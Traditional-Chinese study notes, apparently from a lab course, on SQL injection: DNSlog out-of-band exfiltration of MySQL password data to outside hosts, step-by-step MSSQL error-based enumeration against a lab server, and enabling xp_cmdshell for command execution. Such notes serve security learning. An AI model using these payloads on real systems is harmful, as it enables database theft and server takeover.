sqlmap參數
--file-read,從數據庫服務器中讀取文件
--file-write,--file-dest,把文件上傳到數據庫服務器中
dnslog平台的學習和它在盲注中的應用
1,判斷注入點
2,測試網站對DNSlog提供的url是否解析
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
SELECT LOAD_FILE,可以讀文件,做DNS請求
例子,select load_file(group_concat('\\\\',(select concat(user,password)from users limit 3,1),'.6rylw1tbh2htjx3hap90nqqj8ae02p.burpcollaborator.net..\\aaa'));
如果網站的響應時間長的話,說明可以解析
3,使用concat拼接url和sql語句來注入得到數據
mssql手工注入
1,判斷注入點,http://192.168.190.148/less-1.asp?id=1',提示 '1'' 后的引號不完整。 說明有注入點
2,判斷數據庫類型,http://192.168.190.148/less-1.asp?id=1' and exists(select * from sysobjects)-- ,有結果沒報錯說明后台數據庫是sql server
還有其他方法,常用框架組合方法,例如常見的,asp+mssql,php+mysql/頁面報錯信息
3,select IS_SRVROLEMEMBER('sysadmin'); 判斷當前是否為sa,http://192.168.190.148/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('sysadmin'))>0-- 頁面沒報錯說明是sa賬戶
select is_srvrolemember('db_owner'); 判斷當前用戶寫文件、讀文件的權限(db_owner),http://192.168.190.148/less-1.asp?id=1' and (select is_srvrolemember('db_owner'))>0--,頁面沒返回信息說明數據庫沒讀寫權限
select is_srvrolemember('public');判斷是否有public權限,可以爆破表,http://192.168.190.148/less-1.asp?id=1' and (select is_srvrolemember('public'))>0-- 頁面正常顯示,說明有public權限
4,信息收集,當前數據庫,數據庫版本,
http://192.168.190.148/less-1.asp?id=1' and (select @@version)=1 --,會報錯,返回結果會出來sql server版本
,http://192.168.190.148/less-1.asp?id=1' and (user)=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在將 nvarchar 值 'dbo' 轉換成數據類型 int 時失敗。 爆出當前用戶是dbo
http://192.168.190.148/less-1.asp?id=1' and (select db_name())=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在將 nvarchar 值 'test' 轉換成數據類型 int 時失敗。 ,爆出當前數據庫是test
SELECT db_name(0);函數從0開始,0為當前數據庫,將db_name函數下的參數改變,可以爆出所有的數據庫
http://192.168.190.148/less-1.asp?id=1' and (select top 1 name from master..sysdatabases where name not in ('aspcms','master','model')) >1--
select top 3 name from master..sysdatabases;可以查詢所有數據庫,加上條件,where name not in ('db_name','dbname') 表示找到的結果不在設置的集合,就可以爆出所有數據庫
5,獲取當前數據庫的表
http://192.168.190.148/less-1.asp?id=1'and (SELECT top 1 name from test.sys.all_objects where type='u' and is_ms_shipped=0)>1-- ,獲取第一個表名 emails
http://192.168.190.148/less-1.asp?id=1'and (SELECT top 1 name from test.sys.all_objects where type='u' and is_ms_shipped=0 and name not in ('emails'))>1-- ,獲取除去emalis之后第一個表,not in里依次增加爆出的表,得到所有表
6,獲取當前數據庫指定表的字段
http://192.168.190.148/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users')>1 --獲取第一個字段
http://192.168.190.148/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id'))>1 --,獲取除了id之外的第一個字段,not in后依次增加字段就可以獲得所有字段名
http://192.168.190.148/less-1.asp?id=1'and (select top 1 name from syscolumns where id =OBJECT_ID('users'))>1--,獲取第一個字段
http://192.168.190.148/less-1.asp?id=1'and (select top 1 name from syscolumns where id =OBJECT_ID('users')and name not in ('id'))>1--,獲取除了id之外的第一個字段,not in依次增加直到獲取所有字段
7,獲取表中指定字段的值
http://192.168.190.148/less-1.asp?id=1' and (select top 1 username from users)>1 --,獲取指定字段的數據,字段只能1個1個修改注入
mssql的xp_cmdshell擴展
Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell',查詢xp_cmdshell擴展是否打開
exec master..xp_cmdshell 'whoami' 調用xp_cmdshell擴展
提示報錯,SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關啟用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。打開查詢分析器,執行即可
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;